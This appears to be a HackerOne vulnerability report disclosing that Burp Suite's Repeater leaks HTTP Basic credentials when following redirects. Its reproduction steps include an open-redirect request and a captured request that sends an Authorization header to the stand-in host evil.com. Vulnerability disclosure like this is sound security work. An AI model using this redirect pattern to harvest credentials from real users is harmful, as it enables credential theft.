PortSwigger Web Security: Leak of Platform Authentication credentials via Repeater

ID H1:302651
Type hackerone
Reporter jupenur
Modified 2018-06-13T15:11:29


Burp Repeater leaks Platform Authentication (HTTP Basic) credentials when following redirections.

Steps to reproduce:

  • Set up an open redirection on a site you control (example.com).
  • Set up Platform Authentication for that same site. Use HTTP Basic auth and whatever credentials.
  • Using Repeater, issue a request to the page with the open redirection:

``` GET /redirect.php?url=http://evil.com HTTP/1.1 Host: example.com


  • Click on the Follow redirection button
  • Observe, helpless, as your HTTP Basic credentials are sent to evil.com:

``` GET http://evil.com/ HTTP/1.1 Host: evil.com Authorization: Basic dXNlcjpwYXNz


Note that there's nothing "unusual" about the steps to reproduce this, so it can easily happen completely by accident. On the attacker's side, exploiting this only requires logging any incoming Authorization headers.


Burp Suite users may inadvertently send Platform Authentication credentials to unrelated third parties. This is fundamentally very sensitive information, making this a rather nasty leak.